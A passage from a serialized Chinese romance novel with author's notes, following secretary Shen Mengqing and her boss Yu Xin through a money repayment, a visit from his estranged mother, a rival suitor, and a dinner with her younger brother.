余辛才在椅子上坐下,瞧见沈孟青关门的动作,轻笑一声说:“这么迫不及待?” 沈孟青一本正经走到他跟前,把信封袋往他桌上一放:“郝奇思借你的钱都在里面了。” 余辛睨了眼有些厚度的信封,再眼皮微抬看向沈孟青。 他这副神色和梦里的场面完全重合,沈孟青看他胳膊悠悠举起,以为他真要把钱抽出来。 没想到,他将手举高后往房间天花板的角落一指,出声道:“沈秘书,那有监控。” 随即,他把信封往回一推:“你不想明天股东们来指控你对我行贿吧?” “……” 沈孟青的直觉告诉她,或许余辛还是猜到了自己找他是为了这事,才故意说在公司见面。 “那余总什么时候有空,我去你家清算一下账务。”她说。 余辛铜墙铁壁般防御着:“我最近不住你家附近那房子。” “那去檀香路找你?”沈孟青说。 “那边安保很严,闲杂人等不让进去。”余辛勾了勾嘴角。 沈孟青再没了耐心,她收起钱,闷哼了声说:“那我去找陈姨,把钱随便塞你家一个角落,管你找不找得到,反正我钱是还了。” 余辛见她真恼了,语气松了下来:“后天吧,周六我有时间,中午可以来。” 沈孟青得了他这句话,径直出了办公室- 大概是郝奇思告诉了三姨押金的钱是找她借的,之后几天,三姨总是时不时给她发来些店铺装修和采购物品的视频来。 沈孟青和精神股东似的,偶尔给几句意见,再给些鼓励,让三姨多点动力。 看见三姨这对未来充满期盼的模样,沈孟青忽而觉得郝奇思这事虽说对她不太厚道,但让三姨开心也足够了。 周六那天,沈孟青打车去了檀香路,这回陈姨特意来门口接她。 陈姨刚买完菜,她早上特意向余辛问了下沈孟青的口味喜欢,如她所料,余辛记得一清二楚。 她揶揄地看向余辛,这小子倒光明正大地迎上她的眼神,毫不遮掩自己的心思。 陈姨一下就明白了,这是和人家姑娘坦白过了,但还没追到呢。 靠余辛自个是指望不上了,陈姨暗自琢磨了下,她怎么也得使使劲才行。 她笑意盈盈地看沈孟青下了车,给人展示了下手里种类丰富的菜:“中午你可得留下吃饭啊,我买了这么多,你不吃都会坏掉的。” “你应该也知道,就余辛那胃口,哪吃得完这些。”陈姨嫌弃地嘟囔了两声。 沈孟青替她接过袋沉甸甸的菜,说:“陈姨,我先和余总聊点事,到时候看看时间,再决定吃不吃饭吧。” 陈姨捕捉到了她对余辛疏离的称呼,在心里叹了口气,暗骂余辛不争气。 两人一路有说有笑地到了别墅,走到门口时,余辛正巧刚回来,从他那辆劳斯莱斯上下来。 今天他穿得一件深墨绿色的夹克,里头搭了件黑色厚卫衣,年轻张扬的气息毫无保留地展露了出来,在这萧瑟冬季里无疑是最有蓬勃朝气的生命体。 有段时间没看他穿常服的模样了,他恣意的模样灼烧到了沈孟青的双眼,她不免多看了他几下。 陈姨感受到这两人之间暗中流转的旖旎氛围,接回沈孟青手上的菜,说着先去厨房准备了,给这两人留足空间。 等陈姨走远,余辛手揣进兜里,手连带着兜扬起了一小点弧度:“走吧。” 沈孟青有点想速战速决的意思,余辛却先几步走到门口,说:“进来说,外头冷。” 她垂头走了进去,走进门才发现余辛就在门前等她,她差些就要撞上这人的胸膛。 沈孟青仰头看向他,狐疑地眨了眨眼睛。 余辛伸出手,手指并拢,用背面轻轻贴了下沈孟青的脸,凉得她睫毛一颤。 “我真的很冷,没骗你。” 沈孟青白了他眼,低声说:“我又没说你骗我。” “不,你刚才的眼神很像在控诉我骗你进我家。”余辛定定地说。 沈孟青:“……” 余辛冰凉的手在她脸上短暂停留之后,她双颊的温度触底反弹一般升温起来,沈孟青热得摘下围巾,径直走去了客厅。 她从包里拿出那两万块钱,往桌上一放:“喏,还你。” 余辛面色沉沉,沈孟青正色严肃地说道:“不许不要,这个钱意义不一样。” 余辛倚靠在沙发上凝视她,倏地问道:“你很想我收下?” 沈孟青点点头:“嗯,你不收下我心里过意不去。” “行。”余辛扯起信封,随手往身边一放,“那我收下了。” 沈孟青心里这才畅快了几分,她摩挲了下膝盖,计划着找借口离开,未曾想,外头有人敲响了门。 陈姨就在附近,先余辛几步开了门,看见门口的人后,她神情霎时间沉了下来。 “你又来做什么?” 听见陈姨不善的语气,沈孟青有些讶异,她以为陈姨一向对谁都好脾气得很。 来人开口说:“我来看看他。” 听这声音,沈孟青揣测着,是一个中年左右的女人—— 作者有话说:陈姨恨不得连夜写一本教程给辛子[狗头] 今天早点发宝子们 下午文名要改成《灼热感》一段时间啦,应该也会很快换回来的~和大噶报备一声 爱你们[亲亲][亲亲] 第52章 第五十二章 你教教我 陈姨并不想让这人进来, 仍把住门说:“这里不欢迎你。” 女人有些哀求的意思:“我是来道谢的,就和他说几句话。我还带了些东西,是送给你们的。” 陈姨嗔怪说:“我们缺你这东西了!你不是说钱不够用吗, 买这些东西做什么。” “算了, 陈姨。”余辛出声打断道,“你和我来吧。” 门口安静下来, 只有碎乱脚步声响着, 在沈孟青的视角里, 她瞥见了几秒余辛和一个穿着得体套装的女人背影。 陈姨在他们之后出现, 和他们背道而驰,朝沈孟青走了过来。 她在沈孟青身旁坐下, 深深地叹息了一声。 沈孟青没敢问, 眼观鼻鼻观心,把手旁的温水推到陈姨跟前说:“陈姨, 喝点水吧, 这我没喝过的。” 陈姨也没推拒,抬起杯子来几口喝了见底,估摸着是火气太大,烧得口干。 她视线不聚焦, 像是在走神, 嘴上却絮絮说道:“刚才那人, 是余辛妈妈, 叫梁美林。” 沈孟青一怔,脑海里闪过几个对这个名字产生印象的片段, 一个接一个串联了起来。 她小心地问:“余辛和……梁阿姨是不是关系不好呀。” 陈姨也不知道该从何说起,她想到哪说哪地道:“在他小时候他妈妈就离婚离开了家里,这么多年也没见她关心过余辛一次, 前段时间还为了别人来找他要钱。” 沈孟青听余辛说过,他爸妈在很早就分开了,见陈姨又气恼又替余辛委屈成这样,估计因为那梁阿姨拿钱去做的事。 人家家里事她不便掺和,只得对陈姨劝解说:“余辛自己会有分寸的,您也别太担心。” 陈姨摇摇头,说:“他在公司那些事情上是有把握,但他其实心软得很。之前他爸妈都对他不好,我就怕好不容易现在日子好过了些,还得不停照顾他妈那边。” “如果他真这样选择,那也没办法,毕竟是亲生母子,心里多多少少还是会念生育之恩的。”沈孟青轻声说。 再如何冷漠的人,也还是会渴望亲情的温暖吧。 两人一时无话,大门紧闭的书房里一丝声音都没有,陈姨看了眼时间,她该去准备午餐了。 陈姨拍了拍沈孟青的背,让她暂时在沙发上坐会。 不知过了多久,书房门被人打开。沈孟青抬起头,看见梁美林独自走了出来。 她脸上的表情看着像是如释重负,脚步比方才进来时轻快了许多。梁美林一眼和客厅里的沈孟青对上了视线,她动作一顿,直愣愣地看了沈孟青许久,欲言又止。最终,还是急匆匆地离开了。 又过了好一会,余辛才从里头走出来。他看起来没什么情绪,只是比平时更冷峻几分,周身的气压极低,双眸罩上了一层灰霾般,透着一种深切的倦意。 看来,对于他来说,这次和梁美林的交谈不算愉快。 余辛径直走到客厅,目光掠至沈孟青身上,和她打量的视线交错。 沈孟青在他眼里看到了一丝罕见的脆弱和执拗。 余辛在她旁边的沙发上坐下,距离不远不近的,身体微微前倾,喝了口水。 他白皙修长的手指松松握在杯子上,两眼的焦点从微微晃动的水面转移至沈孟青脸上。 他也不说话,就这般默不作声地凝视着沈孟青,指尖在杯子外壁上下摩挲。 沈孟青看了他几眼,悠悠说了声:“我先走了。” 他声音有些暗哑,开口说道:“再陪我坐会吧。” 梁美林和他聊的事情不算坏事,甚至是好消息,但在看到她脸上那种他从未见过的神情,那种对于孩子油然而生的疼爱感和幸福感时,他的世界一点一点昏暗了下去。 直至看到沈孟青,他才感觉在漆黑一片的周遭中寻得了一盏明亮的白织灯。 “刚才那是我……妈。”他不太习惯对梁美林的这个称呼,毕竟,他几乎从记事起就没喊过她这个字了。 余辛的嘴角挂起一丝自嘲,淡淡说道:“她在和我爸离婚后没多久就有自己新的家庭了,过得挺幸福的。” 沈孟青听他声音轻飘飘的,整个人似是陷入了一种回忆的漩涡,以为他要倾诉和梁美林的故事,却没想到,他点到这就结束了。 她顺着他的故事问道:“她这些年没来找过你吗?” 余辛说:“没有,也不知道是她自己没来,还是我爸不让她见我。不过那都不重要了,她以后应当也不会再来找我了。” 余辛的语气算不上失落,但也听着不太释怀,他低垂的眉眼和紧抿的嘴唇无一不透着压抑。 沈孟青没体会过他的经历,没办法完全感同身受,但她想象了下父母若是都对自己疏离,她的心就好像被什么刺了一下。 她张了张嘴,正想安慰他几句,外头又响起了门铃声。 余辛显然也有些怔松,他还没能从方才的情绪中抽离出来,不知道是不是梁美林走而复返,还是有其他客人。 总之,他有些疲于应付了。 这回是余辛打开的门,门外站着的祝绍明在门刚被开条恰巧过人的缝时,就迫不及待地挤了进来。 他手握拳捶了下余辛,说:“接驾这么慢,余大少爷真有架子啊。” 祝绍明身后还跟着李青河,李青河耸了下肩,解释说:“他突然想吃陈姨做的菜了,发疯一样从我家里把我扯过来了。” 这事放在祝绍明身上倒也不奇怪,他总是有些突如其来的想法,还行动力十足地一定要达成,不然能念叨个十天半个月。 余辛等他们俩换好鞋,祝绍明眼尖地瞥见一双时髦的女士长靴,坏笑着撞了下余辛肩膀,小声说:“金屋藏娇啊?方便我进去不。” 余辛斜斜睨了他眼:“不方便你现在滚?” “那不行。”祝绍明脚下走得比谁都快,“就算不方便我也得看清个这位娇的头发丝儿。” 他们三人前前后后走进客厅,沈孟青见到这两人,站起身来打着招呼。 祝绍明话语热络,几步走到她身边坐下:“哟,这么巧,沈秘书也在这呀。” 他故意抢占了这位置,让那两男人做热锅上的蚂蚁,急去吧。 “今天不周末嘛,你们余董事长这么心狠手辣,周末还让你加班?”祝绍明看了眼余辛,啧啧了两句。 余辛倒似不介意般,歪歪倚在房柱上,静静看着。 沈孟青笑了下,说:“不是,是我有文件急着给他。” 祝绍明点点头:“还是我们沈秘书爱工作,靠谱儿。诶老李,你那小秘书叫什么来着,唐思?” 李青河也在沙发上坐下,应着说:“是,怎么了?” “唐秘书可爱是可爱,就是年轻了些,处事上不如沈秘书放心,还是咱们余董事长运气好啊,找着个这么好的秘书。余总,你说是吧?” 余辛盯着沈孟青,沉沉说:“是,沈秘书很好,是我走运了。” 他还是头一回这么正经搭理自己的玩笑话,祝绍明一边有点被自己好友这深情模样感动到,一边又被肉麻得起了一身鸡皮疙瘩,快精神分裂了。 沈孟青倒挺喜欢唐思的,替她说话:“唐秘书也挺好的,刚毕业的年纪已经很不错了。” “我也觉得。”李青河赞同道。 沈孟青看了眼时间,这会真要走了,她好不容易得闲,约了郝奇思去市中心吃顿饭,顺便打算给他好好灌输一下信息保护的意识。 她出声道:“我去和陈姨招呼一句,我先走了,你们好好聊。” 余辛悠哉哉站直了身子:“我带你去见她。” 李青河后他一句问道:“你等会去哪?” 沈孟青回答道:“我约了我弟出去吃饭。” “那我送你去吧,我也去市中心有事。”李青河说着也站了起来,余辛漠然瞥了他眼。 沈孟青没有拒绝:“好,你等会我吧。” 她和余辛抬脚挪动了步子,厨房离客厅的路程很近,但余辛走得很慢,和闲逛似的,沈孟青时不时超他半步,也不知道是谁带谁去。 “你要是走这么慢,那还是先回去吧。”沈孟青兀地开口道。 余辛闷闷发声:“我这是在试试你记不记得路。” 沈孟青无语地说:“我又不是傻子,我方向感很好的,只是上次和陈姨聊得太投入了。” “你不留在这吃饭,她应该会很伤心。”余辛低声说道。 沈孟青侧头瞧了他眼,没说话。 忽而,他又说:“你不会看不出李青河在追你吧?” “那又怎样。”沈孟青鼻子哼哧出气。 余辛快走几步,转过身拦在沈孟青的去路前,他的面庞近在咫尺,身形高高大大罩在她眼前。 离得这么近时,沈孟青不自觉地感受到指尖摸碰到他脸颊和发丝的触感,身体记忆深刻得可怕。 余辛垂首看她,眼里带了些不服气:“明明都是在追你,为什么你对他就好声好气有求必应的。” “他是我朋友。”沈孟青说道。 余辛:“我不是吗?” 沈孟青界限清晰:“你是我上司。” 余辛一顿,又说道:“上司不应该更加好声好气有求必应吗?” “那叫阿谀奉承。” 沈孟青抱起胳膊,有种越争执她越占上风的气势。 余辛不愿见她这般冷静,思考了几瞬后,生涩且认真地说道:“沈孟青,你教教我。” “你当初是怎么走向我的,这次换我来,你也尝试着接受一下现在的我,好不好?” 说完,他又嘴硬地补充:“你选李青河,还不如选我。” 他这会幼稚得像变了个人,沈孟青有点想笑:“为什么?” “我家庭背景比他简单,就我一个人。” “还有呢?” “我比他帅,比他有钱,比他身材好。” “庸俗。” 余辛眼梢一挑:“我比他多了一段经历……” “闭嘴吧余辛!” 沈孟青重重踩了他一脚—— 作者有话说:辛子:面试话术:我比他多了一段经历 阿青:试图走后门,pass! 第53章 第五十三章 想听听你的声音 陈姨才端了碗热菜从厨房出来, 被这两人的动静吓了一跳,菜汤都差点抖落出来。 她顺了几口气,嗔道:“你们俩在这打架呢, 咋咋唬唬的, 吓死我了。” 她嘴上怪罪着,眼尾却弯了几分。 就她这么些年的经验, 两人眼下这吵吵闹闹的气氛才对头, 比那拘谨礼貌好多了。 余辛滴溜溜走到陈姨身边, 接过她手里的碗, 告状似的道:“陈姨,沈秘书说她不留在这吃午饭。” “不在这吃了?!” 陈姨高喊了声, 看了眼神色无辜的沈孟青后, 又扭头重重拍了下余辛的胳膊,万幸余辛的胳膊瓷实, 力气又比较大, 碗里的汤只微微荡漾了下,没溢出来。 陈姨朝他骂道:“你是不是惹人家生气了!早就说了,对人家态度好些,天天摆着个臭脸给谁看。” “我脸哪臭了。”余辛扯动了下面部肌肉, 让自己捏出个微笑。 沈孟青瞧了几下, 的确顺眼了不少, 她没忍住噗嗤笑了出来。 陈姨亦是压不住笑, 瞪着余辛说:“你看看,以后主动端正一下道歉的态度, 要多对人笑。” “行。”余辛这下乖顺得很。 陈姨在一旁问起沈孟青等会要去做什么,沈孟青便把缘由又说了遍,陈姨也理解, 弟弟和自己都在外地城市,总得找时间聚一聚,照顾一番。 她递给余辛一记眼刀:“这就是你的不对了,人家是为了请弟弟吃饭,你在这置什么气。” 他气的哪是这! 余辛正想解释,陈姨又将他话堵了回去:“而且,你一大老爷们,怎么不多请人家弟弟出来吃饭。听我的,孟青啊,你晚上带你弟弟来这边,我请你们吃。” 沈孟青连忙摆摆手:“不麻烦了。” “我去接你。”余辛很快插进话说,“下午,你们吃完了告诉我。” “对对对,就让他去,反正他今天闲得很。” 陈姨一拍余辛的背,说道。 沈孟青仍没完全应下,她囫囵着说:“到时候看看。” 陈姨也不好再挽留,只给余辛使了个眼神,希望他能明白烈女怕缠郎的道理。 把菜在餐厅搁置好后,几人便回了客厅,沈孟青收拾好随身的东西,和李青河出了门。 屋子里顿时冷清下来,祝绍明挤到余辛身边,见他眉眼冷淡,揽上他肩膀道:“余总的攻势还是不够猛啊。” 余辛肩膀一歪,抖落祝绍明的手:“吃完饭早点走。” 祝绍明听他这赶人的语气,委屈说:“你和我生什么气,抢人的是他李青河。” “人不是你带来的?”余辛睨了他眼。 “呃,这倒是。” 祝绍明挠了挠头,以后出门还是得看黄历,免得被卷入什么三角恋的狗血戏码中,自身难保。 …… 沈孟青坐上李青河的车后,在导航里输入了目的地。 李青河笑着说:“我在北城生活这么多年,市中心每一条路都走过,你直接和我说就行。” “习惯了。”沈孟青关掉导航,“你不是来吃饭的吗,那你中午不吃了?” 李青河留意着路,说:“回去随便吃点就行,反正下午有事。” 周末的中午,去市中心的车辆很多,十几分钟的路程愣是被堵车拖到了快半个小时。 在快接近餐厅所在的商场时,李青河忽地开口道:“下周就要跨年了,你有什么安排吗?” 时间过得太快,沈孟青差点忘了这个节点,她说:“应该会回楚城。” 李青河点点头:“我可能也会回去一趟,你有没有时间出来见个面?” “如果有空的话,可以的。” 车子在商场门口停下,沈孟青提起包,向李清河道了声谢后,下了车。 走进了商场,周遭暖和了不少,沈孟青得空掏出手机,这才发现余辛发了好几条消息来。 他说: 「吃完告诉我。」 「怎么不说话,李青河把你绑架了?」 「你落了东西在这。」 沈孟青点开照片,是她新买的唇膏,她今天背的包是开口的,唇膏是光滑的圆柱体,可能一个不慎滚出来了。 她无所谓地回复说: 「送你了。」 余辛几乎是秒发来消息: 「到了?」 「送我这个……」 「想和我间接接吻?」 沈孟青忿忿,指尖敲键盘的力度几乎是在砸屏幕,啪啦作响: 「新的!没用过的。」 余辛淡淡然说: 「哦。」 「你先吃饭吧,下午再说。」 到了吃饭的西餐厅,郝奇思已经占好了座位,他一等沈孟青坐下,就垂丧着头态度端正地给沈孟青道起歉来。 他一黑黑壮壮的大小伙子,说着说着还流下滚烫的眼泪来,一把鼻涕一把泪地说对不起,旁边桌的人都憋不住频频侧头偷看,沈孟青觉得又尴尬又好笑,连忙从桌上扯出几张纸,塞他手里让他擦擦脸。 哭得差不多了,郝奇思把手里的纸团子往桌上一放,抽泣着说:“姐,我现在就把那两万打给你,你不能不要,不然我回去我妈要把我骂死了,她还要我一定把转账截图给她看呢。” 听了他这话,沈孟青这会才发觉,她们一家都挺倔脾气的,她答应说:“好,我收下。” 这事就算翻篇了,郝奇思也和她保证以后不会再透露她消息,等菜一端上来,郝奇思又开心地大快朵颐起来,和方才哭的时候判若两人。 某人和安了监控似的,在他们快吃完的时候,掐准时机地打来了电话。 沈孟青接起来,电话那头却传来陈姨的声音。 陈姨说道:“孟青啊,你和弟弟吃完饭了吗,你们在哪吃饭呀?” 心机男,沈孟青在心里暗啐一嘴,余辛肯定是怕自己打电话她不说,才故意让陈姨来磨她。 沈孟青回道:“陈姨,我们吃完了,就在A商场这里呢。” “好啊好啊,那我喊余辛去接你们,你们再坐会,等着啊。” 陈姨又把电话递给余辛,小声碎碎念:“你也和人说几句。” 她刻意压低了声音,但还是顺着声筒传了出来,沈孟青忍俊不禁,笑了一声。 余辛短促地说了声:“喂。” 沈孟青:“嗯。” “吃的什么?”他语调清朗。 沈孟青问一句答一句:“西餐。” 他又问:“好吃吗?” 沈孟青有点无语:“好吃。你的话题是不是太没有营养了,我挂了?” “聊你想聊的也行。” 余辛应当是出门了,沈孟青听见了关门的声音,还有轻微的风刮过耳边的呼声。 她说:“我不想聊,你等会好好开车。” 余辛静默了片刻,说:“我就想听听你声音。” 沈孟青微恼着说:“有病吧,过会就能见到了。” “骂我也行。”余辛话音带了些笑意。 沈孟青:“变态!” 她径直挂了电话,郝奇思在她对面,吃完了最后一口甜品,边擦着嘴,边问她说:“姐,有变态男缠着你吗,要不要我帮你教训他?” 他指了指自己胳膊说:“虽然我没打过架,但我这身肉也不是白长的,不用动手也能吓退大部分人了,有体型优势在,你不用担心。” 沈孟青白了眼他:“也不知道是谁刚才哭得梨花带雨。” 她和郝奇思说了下晚上去余辛家里吃饭的事,郝奇思面上乖巧地点点头,暗地里琢磨着他姐和余辛到底是什么关系,大人之间的感情这么复杂吗。 估摸着余辛还得些时间,沈孟青带着郝奇思下了楼,想着给他买几件厚衣服过冬。男生试衣服快,外套三两下就罩在了身上,郝奇思也不挑,沈孟青给他选的衣服他都说好。 结完账后,郝奇思拎着几个购物袋,跟在沈孟青身后走着。 大冬天的,站在门口等太冷,沈孟青见旁边咖啡厅还有座位,便点了两杯饮料,和郝奇思找了个空座坐下。 才喝两口,身后走来几人,在他们旁边的位置入座。 沈孟青注意到动静,往身旁一瞧,和一双男女对上眼。 徐露没想到在这也能碰上沈孟青,笑着将屁股挪过来了点,朝她招呼说:“好久不见呀,沈孟青。” 她视线有意无意往郝奇思那瞥去,沈孟青有些头疼,为了避免麻烦,直接介绍说:“这是我弟,他在北城上大学。” 徐露立马收回了目光:“哦哦哦,弟弟呀。” 她那点对老同学的八卦小心思瞬间压了下去。 钱虎拽了下徐露,说:“老婆,等会再聊,李经理在这给我们介绍资产配置呢,这可是大事。” “哎哟,知道了,钱又跑不了。”徐露状似不耐地瞪了眼钱虎,音量却不小,恨不得赚了几个钱就要让全世界知道。 沈孟青摇了摇头,这两人还是熟悉的样子。 又过了一会,沈孟青看了眼时间,寻思着余辛这车开得也太久了。她正想给他去个电话,咖啡厅的门却在这时被人打开。 余辛仍是那套卫衣夹克,身上夹杂着外头冷空气的气息,气质和白杨树一般凛冽傲然,他一走进来,就引得不少人朝他打量去。 诚然,沈孟青旁边这桌人也注意到了他,徐露暗忖了下,虽说这男人年轻又没钱,但每次看见,都不免被他的面容惊艳到,难怪沈孟青和他感情这么稳定。 她转头看了下自家老公,瞟到那分层的下巴,她当即移开了眼。 购物袋都放在沈孟青身边的座位上,余辛长腿一迈,几步走到郝奇思旁边坐下。 他抬眼看向沈孟青,张了张嘴,正要说什么,却被隔壁那桌一人打断。 和徐露钱虎一桌的另一人站起身,恭敬地走了过来,低声说: “余总?”—— 作者有话说:别给辛子骂爽了昂! 揪几十个订红包 11.2开奖~[亲亲][亲亲] 第54章 第五十四章 “你是不是欺负我姐了”…… 余辛看向这人, 他回忆无果,对其搜刮不出一点印象,只淡淡点了下头。 这人却不打算走, 从兜里掏出张名片, 双手递了过去:“我姓李,是丰华银行的, 去年总行的年终客户答谢晚宴, 我有幸跟着领导在现场见过您。” 余辛随之站起身, 礼貌地接下名片, 说:“你好。” 李经理还有些惊异,不敢相信自己能和全行的大客户在这偶遇, 他本想抓住鲜有的机会多说几句, 但也不好再打扰私人聚会,回了自己座位去。 钱虎和徐露在一旁看得目瞪口呆, 这李经理还是钱虎找了好多关系认识的, 认识的大佬说他是专门给高净值客户提供资产配置和投资理财服务的客户经理。见面之后,李经理大概是见多了有钱人,对他们不冷不热的,他们也不介意, 毕竟自己也刚接触这块, 不算了解。 可眼下这李经理一改态度, 谦卑恭谨地和余辛说话, 他们登时愕然不已。 钱虎离沈孟青那桌要远些,等李经理回来坐下, 他压低声音问道:“李经理,那位是? ” 李经理说道:“愈生医药,听说过没?” “当然了!” 钱虎炒股, 这些北城的大公司他都清楚。 李经理勾勾眼,端起架子说:“那位就是愈生医药的董事长,余总。” “董事长??!!”钱虎差点没压住音量,徐露理智尚存地踹了他一脚,让他收敛些。 徐露不太清楚这公司的规模,她心里打着鼓,侧头问钱虎说:“老公,什么公司啊,厉害吗?” “操。”钱虎低声骂了句脏话,“国内医药行业第一的公司,你说呢。” 徐露张圆了嘴,愣了半天,说不出话来。 她想起第一次见到余辛那天,她和钱虎挖苦沈孟青,被他洒水教训,她还以为是自己的话戳到了人痛处。从那时起,她一直以为沈孟青找的这对象是个靠女人生活的小白脸,同学会之后,她还经常谈起当时的笑事,说沈孟青那小男友还在同学会接她时,为了面子可笑地去租了车。 而今她才明白,自己有多像个跳梁小丑。 她尴尬地扯了下钱虎的袖子,说:“老公,要不今天先到这吧,我们回去再聊。” “回去干什么。”钱虎躲开她的手,“沈孟青是咱们老同学,她男朋友我们当然得认识一下了,这么大的人脉资源,怎么可能错过。” 徐露拿他没办法,硬着头皮跟在他身后走了过去。 钱虎堆出笑,满脸横肉却不自知,他半弯着腰,朝余辛伸出手:“余总你好,我是孟青的高中同学。” 听见他只喊自己的名,沈孟青浑身都起了鸡皮疙瘩,钱虎看着是来搭上她的关系认识余辛,但一个眼神都没给她。 余辛还记得上回林向阳对沈孟青说的话,他了然这些人把他默认为沈孟青的男友了。 见沈孟青神色淡漠,他也表情平平,道:“嗯,见过。” “对!余总记性真好,还记得我们在楚城见过呢。我叫钱虎,在楚城做些生意,也时常往北城这边跑,不知道下回有没有机会,请余总吃个饭。”他丝毫不掩饰脸上的谄媚。 余辛薄长的眼皮一抬,本是深情的眼型这会显得冷淡无比,沈孟青一瞧他这副模样,便知晓他又要说挤兑人的话了。 “不必了,我记得没错的话,上回在楚城我请你们二位喝过茶了。” 回想起这两人被余辛泼茶气到跳脚的样子,沈孟青快要憋不住笑出声。 钱虎一时哽住,徐露更是羞恼到说不出话,余辛借机看向沈孟青,说道:“差不多该走了?陈姨还在家里等着呢。” “走吧。” 沈孟青话音刚落,余辛施施然抻出手,动作十分自然地从桌上捞过她喝了的咖啡,咕咚咕咚几口喝了个干净。 感受到对面瞪人的视线,余辛耸耸肩,朝沈孟青卖乖说:“太渴了,过来的时候没喝水。” 沈孟青懒得和他计较:“赶紧走。” 她使了个眼色给发怔的郝奇思,郝奇思回过神来,起身提起购物袋,屁颠屁颠地跟在余辛和沈孟青身后,出了咖啡厅。 他暗暗想道,这些大人都是随便喝异性朋友喝过的饮料吗,好开放啊! …… 三人坐上了车,郝奇思如今终于对余辛的豪车见怪不怪了。 他才刚坐上后座,回味起方才的情形,他脑子里似是噼里啪啦完成了一通化学反应后,整个人夸张地弹跳起来。 郝奇思扒住前头两人中间的空档,尽量让自己冷静地说道:“余辛哥,你是愈生医药的董事长?” 余辛手上转着方向盘,应他说:“你姐没告诉你?” “没有啊!”郝奇思又扭头看向沈孟青,“姐,那你不是就在余辛哥公司上班吗。我记得你前不久升任了董事长秘书……” 这情况捋起来有点复杂,但又好像很简单,郝奇思加载了会,喃喃道:“所以,姐,你是余辛哥的秘书啊!” 难怪之前余辛问他他姐要是被骗了会怎么样,原来是在这等着呢,看来是蓄谋已久啊。 郝奇思再怎么说也是郝家人,他意识到余辛骗了沈孟青那么久,自己还给他通风报信之后,气得靠回座椅,叉腰说:“你是不欺负我姐了。” 这才是她的好弟弟,沈孟青也助长他气焰般,朝余辛说:“听到没,问你呢。” 遇上红灯,余辛踩下刹车,回头看了眼怒视着他的郝奇思,又侧头瞥了下看戏的沈孟青,这俩人还挺姐弟情深,一直对外。 他双手举起,做出缴械投降的手势,低声说:“我错了。” 郝奇思闷哼一声,他才不管余辛什么身份呢,不论是富二代老板还是兼职小导游,敢欺负他姐让他姐伤心,他一定算账到没完。 在这之后,郝奇思连连给沈孟青转了好几条消息,沈孟青一看,都是些公众号推文。 【别让这样的男人毁了你的一生。】 【有钱还是人品好,男人什么品质最重要。】 …… 沈孟青无语,径直说道:“郝奇思,别搜些乱七八糟的东西。” “姐,我这是怕你被某些男人骗感情。” 郝奇思说这话时,还斜斜看着余辛。 余辛无辜地开着车:“我可做不到,能不能让你姐来骗我的。” 沈孟青和郝奇思齐声说:“想得美!” 三人一路绊着嘴回了檀香路,郝奇思一进小区,震惊得大大张着嘴,又掏出手机来库嚓拍了几张。 沈孟青无奈道:“这次不许发朋友圈了。” 郝奇思收回下巴,吐了吐舌:“知道了。” 郝奇思算新客,余辛的车一开进去,陈姨就出来迎接他们了。 下了车,沈孟青扯来郝奇思,让他和陈姨道好,陈姨情商极高地夸了他几句长得又高又帅,乐得他合不拢嘴。 一行人进了房子里,陈姨说六点开饭,还有一段时间,余辛便拿来了游戏柄,让沈孟青和郝奇思打发时间。 郝奇思最近在学校里选了网球的体育课,他在看见有模拟网球游戏后,跃跃欲试,让沈孟青和他一起对战。 沈孟青很少打网球,加上玩这种游戏时她把控不住挥拍的时机,几轮下来,她被郝奇思虐得体无完肤,人机估计都比她玩得好。 “不玩了。”沈孟青闷着气,累呼呼地往沙发上一坐。 郝奇思还没玩尽兴,凑到他姐跟前苦苦哀求她再陪自己玩会。 余辛瞧见后,放下手里的电脑,走过来接下沈孟青掌心的手柄。 他脱下夹克,卷起卫衣的袖子,露出紧实有力的小臂,因为皮肤白皙而显得青筋根根分明。 “我陪你玩。”余辛向郝奇思说。 “好啊!” 郝奇思嘴上应下,暗地里谋算着要狠狠杀余辛的球,替他姐出几口气。 对局开始,郝奇思球风是从头到尾的直莽,一上来就杀下好几局,余辛也不急,慢悠悠接他的招,输了也波澜不惊。不知从第几局开始,郝奇思倏地感觉越打越吃力,逐渐开始接不住余辛打过来的球,再怎么专注也没用。 直到最后,他大比分输给了余辛。 郝奇思还没缓过来,他呆愣愣看向余辛:“哥,你会打网球?” “我没说我不会打啊。”余辛转了转手腕。 郝奇思:“……” 他碎步挪了过去,带着些傲娇地说:“你教教我呗。” “行。” 沈孟青就这么看着两人凑到一块切磋球技,打了个呵欠。陈姨来喊他们吃饭时,她差些在沙发上坐着睡着。 去餐厅时,郝奇思还在缠着余辛问些网球的事,等到了餐桌前,沈孟青拍了下郝奇思,让他吃完了饭再聊。 大菜还未尽数端上桌,陈姨先给几人盛汤喝,今晚她特意煮了天麻鸽子汤,连中午祝绍明来都没这待遇。 几人才刚落座,这时,余辛忽然来了通电话。他先走到一旁去接,陈姨便先将盛好的两碗端给沈孟青和郝奇思。 沈孟青吹凉了些汤面,舀一口送入嘴里,汤汁十分鲜美,在这个天气喝刚刚好,身子暖和得很,再吃一口滑嫩的鸽肉,回味无穷。 她又喝了几口汤,余辛挂断电话走了回来,朝陈姨说:“我突然有个短会,很快能结束,你们先吃吧。” “你先喝几口垫垫肚子呢。”陈姨递过去一碗汤。 余辛接过碗,唇面刚触碰到汤,就被烫了一下。 他搁下碗,没来由地朝沈孟青看去,沈孟青以为他又想喝自己的,急忙伸长胳膊,捂住碗。 余辛哑然失笑:“我先失陪了。” 他走后没多久,沈孟青一碗汤喝到见底,好巧不巧,她忽地收到了陈墨发来的会议邀请,让她也参会一下。 沈孟青和陈姨说了声后,握着手机往外走去。没想到,她走了好一小段路都还没遇上个房间,只有装饰华丽的长廊。等堪堪穿过廊道,左手边才出现个房门。 沈孟青推门进去,里头一片昏暗,余辛倚靠在门边的墙上,正听着会议里同事的汇报,整个屋子里唯有他手机屏幕的光亮。 只能再找个别的房间了,沈孟青正想退出去,手腕却被一道力气攫住。 “就在这开。” 余辛低沉着嗓音道—— 作者有话说:辛子:求被骗感情[玫瑰][玫瑰][玫瑰] 第55章 第五十五章 灯坏了 沈孟青才挣开余辛的手, 陈墨就给她发了消息来,问她进入会议没,周一得给到他一份会议纪要。 她打消了离开的念头, 怕再找别的空房间耽误时间, 错过一些重要内容,就在这待着好了。 余辛适时地往旁边挪动了几步, 留出一大块位置给沈孟青。 沈孟青关上门, 抬手想把灯打开, 没想到按钮来回摁了几次, 都没有用。 “灯坏了。”余辛小声说道。 沈孟青无语,确认了下自己没开麦克风后, 她说:“余总, 您这么富丽堂皇一别墅,灯坏了都不去修?” 余辛说:“这房间平常没人来, 这不才发现。” 他话一说完, 